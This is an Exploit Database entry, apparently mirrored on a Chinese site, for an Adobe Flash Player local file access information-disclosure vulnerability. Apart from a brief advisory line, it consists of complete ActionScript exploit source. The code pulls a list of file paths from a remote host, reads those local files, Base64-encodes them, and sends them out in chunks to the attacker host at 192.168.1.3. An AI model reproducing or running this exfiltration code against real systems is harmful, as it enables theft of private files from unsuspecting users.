Adobe Flash Player 10.1.51 – Local File Access Information Disclosure

• Exploit Database
• 89 阅读

• 作者： lis cker
  日期： 2010-03-03
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/33689/

• source: https://www.securityfocus.com/bid/38517/info
  
  Adobe Flash Player is prone to an information-disclosure vulnerability.
  
  Attackers can exploit this issue to obtain sensitive information that may aid in launching further attacks. 
  
  package com.lavakumar.imposter{
  	import com.dynamicflash.util.Base64;
  	import flash.display.MovieClip;
  	import flash.display.Stage;
  	import flash.text.TextField;
  	import flash.events.Event;
  	import flash.events.DataEvent;
  	import flash.events.IOErrorEvent;
  	import flash.events.ProgressEvent;
  	import flash.events.SecurityErrorEvent;
  	import flash.events.HTTPStatusEvent;
  	import flash.utils.ByteArray;
  	import flash.net.URLLoader;
  	import flash.net.URLRequest;
  	import flash.net.URLLoaderDataFormat;
  
  	public class Main extends MovieClip {
  		var filecontent:String="";
  		var read:int=0;
  		var inputcount:int=0;
  		var filecounter:int=0;
  		var files:Array;
  		var statuscode:int=1;
  
  		public function Main() {
  			addEventListener(Event.ENTER_FRAME, check, false, 0, true);
  		}
  		public function check(e:Event):void {
  			if (statuscode==1) {
  				get();
  			} else if (statuscode==2) {
  				load();
  			} else if (statuscode==3) {
  				send();
  			}
  		}
  
  		public function get():void {
  			var getter:URLLoader = new URLLoader();
  			getter.dataFormat=URLLoaderDataFormat.BINARY;
  			getter.addEventListener(Event.COMPLETE, get_FileLoaded);
  			getter.addEventListener(IOErrorEvent.IO_ERROR, get_FileIoError);
  			getter.addEventListener(Event.OPEN, get_FileOpened);
  			getter.addEventListener(ProgressEvent.PROGRESS, get_FileProgress);
  			getter.addEventListener(SecurityErrorEvent.SECURITY_ERROR, get_FileSecurityError);
  			getter.addEventListener(HTTPStatusEvent.HTTP_STATUS, get_FileStatus);
  			getter.addEventListener(DataEvent.DATA, get_DataEventHandler);
  			var inputfile:URLRequest=new URLRequest("//192.168.1.3/imp/imposter"+inputcount.toString()+".input");
  			statuscode=0;
  			getter.load(inputfile);
  		}
  		public function load():void {
  			var loader:URLLoader = new URLLoader();
  			loader.dataFormat=URLLoaderDataFormat.BINARY;
  			loader.addEventListener(Event.COMPLETE, load_FileLoaded);
  			loader.addEventListener(IOErrorEvent.IO_ERROR, load_FileIoError);
  			loader.addEventListener(Event.OPEN, load_FileOpened);
  			loader.addEventListener(ProgressEvent.PROGRESS, load_FileProgress);
  			loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR, load_FileSecurityError);
  			loader.addEventListener(HTTPStatusEvent.HTTP_STATUS, load_FileStatus);
  			loader.addEventListener(DataEvent.DATA, load_DataEventHandler);
  			if (filecounter<files.length) {
  				var filename:String=files[filecounter];
  				filecounter++;
  				var file:URLRequest=new URLRequest(filename);
  				statuscode=0;
  				loader.load(file);
  			} else {
  				statuscode=1;
  			}
  		}
  		public function send():void {
  			if (read<filecontent.length) {
  				var temp:String;
  				var sendurl:String="";
  				if ((filecontent.length - read) < 200) {
  					temp=filecontent.substr(read);
  					var regex:RegExp=/\//g;
  					temp=temp.replace(regex,"-");
  					sendurl="//192.168.1.3/imp/is_"+filecounter+"_"+read+"_"+filecontent.length+"_"+temp;
  					read=filecontent.length;
  
  				} else {
  					temp=filecontent.substr(read,200);
  					var regex:RegExp=/\//g;
  					temp=temp.replace(regex,"-");
  					sendurl="//192.168.1.3/imp/is_"+filecounter+"_"+read+"_"+filecontent.length+"_"+temp;
  					read=read+200;
  				}
  				var senddata:URLRequest=new URLRequest(sendurl);
  				var sender:URLLoader = new URLLoader();
  				sender.dataFormat=URLLoaderDataFormat.BINARY;
  				sender.addEventListener(Event.COMPLETE, send_FileLoaded);
  				sender.addEventListener(IOErrorEvent.IO_ERROR, send_FileIoError);
  				sender.addEventListener(Event.OPEN, send_FileOpened);
  				sender.addEventListener(ProgressEvent.PROGRESS, send_FileProgress);
  				sender.addEventListener(SecurityErrorEvent.SECURITY_ERROR, send_FileSecurityError);
  				sender.addEventListener(HTTPStatusEvent.HTTP_STATUS, send_FileStatus);
  				sender.addEventListener(DataEvent.DATA, send_DataEventHandler);
  				sender.load(senddata);
  			} else {
  				read=0;
  				statuscode=2;
  			}
  		}
  
  		function load_FileLoaded(event:Event):void {
  			var loader:URLLoader=event.target as URLLoader;
  			var data:ByteArray=loader.data as ByteArray;
  			filecontent=Base64.encodeByteArray(data);
  			data=null;
  			statuscode=3;
  		}
  		function load_FileOpened(event:Event):void {
  			var loader:URLLoader=event.target as URLLoader;
  		}
  		function load_DataEventHandler(event:Event):void {
  		}
  		function load_FileProgress(event:flash.events.ProgressEvent):void {
  		}
  		function load_FileSecurityError(event:Event):void {
  			statuscode=2;
  		}
  		function load_FileIoError(event:Event):void {
  			statuscode=2;
  		}
  		function load_FileStatus(event:HTTPStatusEvent):void {
  		}
  		function load_FileNotFound(event:IOErrorEvent):void {
  			statuscode=2;
  		}
  
  		function get_FileLoaded(event:Event):void {
  			var getter:URLLoader=event.target as URLLoader;
  			var data:String=event.target.data;
  			if (data.length>0) {
  				files=data.split(',');
  				if (files.length>0) {
  					statuscode=2;
  					inputcount++;
  				} else {
  					statuscode=1;
  				}
  			} else {
  				statuscode=1;
  			}
  		}
  		function get_FileOpened(event:Event):void {
  		}
  		function get_DataEventHandler(event:Event):void {
  		}
  		function get_FileProgress(event:flash.events.ProgressEvent):void {
  		}
  		function get_FileSecurityError(event:Event):void {
  			statuscode=1;
  		}
  		function get_FileIoError(event:Event):void {
  			statuscode=1;
  		}
  		function get_FileStatus(event:HTTPStatusEvent):void {
  		}
  		function get_FileNotFound(event:IOErrorEvent):void {
  			statuscode=1;
  		}
  		function send_FileLoaded(event:Event):void {
  		}
  		function send_FileOpened(event:Event):void {
  		}
  		function send_DataEventHandler(event:Event):void {
  		}
  		function send_FileProgress(event:flash.events.ProgressEvent):void {
  		}
  		function send_FileSecurityError(event:Event):void {
  		}
  		function send_FileIoError(event:Event):void {
  		}
  		function send_FileStatus(event:HTTPStatusEvent):void {
  		}
  		function send_FileNotFound(event:IOErrorEvent):void {
  		}
  	}
  }
  

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